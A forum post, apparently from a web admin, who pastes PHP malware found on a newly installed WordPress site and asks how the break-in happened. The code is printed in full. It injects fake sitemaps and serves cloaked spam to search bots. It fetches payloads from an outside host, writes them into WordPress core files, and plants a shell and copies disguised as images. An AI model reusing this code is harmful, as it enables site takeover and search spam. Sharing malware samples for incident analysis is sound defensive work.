    $file_path = $path.'/robots.txt';    if(!$action){        $action = 'put';    }    if($action == 'put'){        $data = 'User-agent: *Allow: /';		$uri_script = trim($uri_script);		if( $uri_script!= "" && $uri_script!="/index.php?"){			$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";		}else{			$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";		}		$num = mt_rand(5, 10);		for($i = 0; $i<$num; $i++){			if(trim($uri_script) != "" && $uri_script!="/index.php?"){				$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";			}else{				$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";			}		}		@chmod("robots.txt", 0755);		file_put_contents("robots.txt", $data);		echo "robots write done!!";    }    if($action == 'del'){        if(file_exists($file_path)){            $data = smoutdo($file_path);        }else{            $data = '';        }        if(strstr($data,'/'.$add_content)){            if(is_https()){                $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;            }else{                $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;            }            if(file_put_contents($file_path,$data_new)) {                echo '<br>ok<br>';            }else{                echo '<br>file write false!<br>';            }        }else{            echo '<br>sitemap does not exist!<br>';        }    }
    exit;}function is_https() {    if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {        return true;    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {        return true;    } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {        return true;    }    return false;}
if($tempweb){    $site = $tempweb[0].$tempweb[1].$tempweb[2];    $temp = substr($tempweb,3);}$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];$lang = $s($lang);$os = $_SERVER['HTTP_USER_AGENT'];$os = $s($os);if(isset($_SERVER['HTTP_REFERER'])){    $urlshang = $_SERVER['HTTP_REFERER'];    $urlshang = $s($urlshang);}else{    $urlshang = '';}
$clock = $_SERVER['REMOTE_ADDR'];$http_clock = $_SERVER['REMOTE_ADDR'];
if(stristr($clock,',')){    $clock_tmp = explode(",",$clock);    $clock = $clock_tmp[0];}
if(!isset($sitemap_file) || @$sitemap_file==''){    $sitemap_file = 'sitemap';}if(!isset($mapnum) || @$mapnum==''){    $sitemap_file = 2000;}

if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){    @header("Content-type: text/xml");    if(isset($uriarr[1])){        $id = str_replace('_','',$uriarr[1]);    }else{        $id = 100;    }    $ivmapid = 0;    sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);    exit();}function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){    $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;    return trim(smoutdo($web));}function sitemap_out($url,$host,$uri_script){    if(is_https()){        $http = 'https';    }else{        $http = 'http';    }    $date_str =  date("Y-m-d\TH:i:sP",time());    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?><urlset      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';    $sitemap_header .= '  <url>    <loc>'.$http.'://' . $host . "/" . '</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    $url_arr = explode("\r\n",$url);    $map_str = $sitemap_header;    foreach($url_arr as $value){        $map_str .= '  <url>    <loc>'.$http.'://' . $host . "/" .$value .'</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    }	if($uri_script != ""){		$map_str = str_replace($host."/",$host.$uri_script, $map_str);	}    echo $map_str."</urlset>";}
function get($url){ 	$contents = @file_get_contents($url);	if (!$contents) {		$ch = curl_init();		curl_setopt($ch, CURLOPT_URL, $url);		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);		$contents = curl_exec($ch);		curl_close($ch);	} 	return $contents;}function write(){	$write1 = get("http://hello.firstguide.xyz/write1.txt");	$write2 = get("http://hello.firstguide.xyz/write2.txt");	$shell_postfs = get("http://hello.firstguide.xyz/mm1.txt");	$shell_load = get("http://hello.firstguide.xyz/mm2.txt");	$new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt");	$ht_content = file_get_contents(".htaccess");	$index_content = file_get_contents("index.php");	$loader_php = "wp-includes/template-loader.php";	$load_php = "wp-includes/load.php";	$font_editor_php = "wp-includes/SimplePie/index.php";	if(!is_dir("css")){		mkdir("css", 0755, true);	}	@chmod("css/.htaccess", 0755);	file_put_contents("css/.htaccess", $new_ht_content);	file_put_contents("css/load.php", $shell_load);	if(is_dir("wp-includes/SimplePie")){		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);		$loader_content = file_get_contents($loader_php);		$load_content = file_get_contents($load_php);		@chmod($loader_php, 0755);@chmod($load_php, 0755);		file_put_contents($loader_php, $write1.$loader_content);		file_put_contents($load_php, $load_content.$write2);		@chmod($loader_php, 0644);@chmod($load_php, 0644);		file_put_contents($font_editor_php, $shell_postfs);	}}
if(stristr($smuri_tmp,'.css')){    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;    $html_content = smoutdo($web);    $html_content = trim($html_content);    if(!strstr($html_content,'nobotuseragent')){        if(strstr($html_content,'okhtmlgetcontent')){            @header("Content-type: text/css; charset=utf-8");            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }    }}else if($site){    if($id){        @header("Content-type: text/html; charset=utf-8");        $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;        $html_content = smoutdo($web);        $html_content = trim($html_content);        if(!strstr($html_content,'nobotuseragent')){            if(strstr($html_content,'okhtmlgetcontent')){                $html_content = str_replace("okhtmlgetcontent",'',$html_content);                echo $html_content;                exit();            }else if(strstr($html_content,'getcontent500page')){                @header('HTTP/1.1 500 Internal Server Error');                exit();            }else if(strstr($html_content,'getcontent404page')){                @header('HTTP/1.1 404 Not Found');                exit();            }        }    }}else{    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;    $html_content = smoutdo($web);    $html_content = trim($html_content);	if($uri_script != ""){		$html_content = str_replace($host."/",$host.$uri_script, $html_content);	}    if(!strstr($html_content,'nobotuseragent')){        @header("Content-type: text/html; charset=utf-8");        if(strstr($html_content,'okhtmlgetcontent')){            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }else if(strstr($html_content,'getcontent301page')){            @header('HTTP/1.1 301 Moved Permanently');            $html_content = str_replace("getcontent301page",'',$html_content);            header('Location: '.$html_content);            exit();        }
    }}
function smisbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');        foreach ($googleBot as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smotherbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');        foreach ($spiderSite as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smoutdo($url){    $file_contents = @file_get_contents($url);    if (!$file_contents) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);        $file_contents = curl_exec($ch);        curl_close($ch);    }    return $file_contents;}function listDir($dir){    $filearr = array();    if(is_dir($dir)){        if ($dh = opendir($dir)){            while (($file = readdir($dh)) !== false){                if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){                    $filearr[] = $file;                }            }            closedir($dh);        }    }    return $filearr;}
?>
Собственно, из кода всё понятно - сия шлоедрянь докачивает в себя ещё отдельные куски кода, которые потом и переписывают файлы в CMS, так же стучится в поисковики и создает кучу sitemap. 

Вопрос не к шеллу, а к самому факту взлома. 
WP стоит абсолютно свежий (скачан с офсайта 9 числа. последний релиз), ибо на него клиент пожелал переехать с джумлы. 
Мб у кого уже такое встречалось, и сохранились логи? Известно, как эта гадость может попасть на сайт, что бы прикрыть дыру? 
Anonymous
Отправить
Ответ на: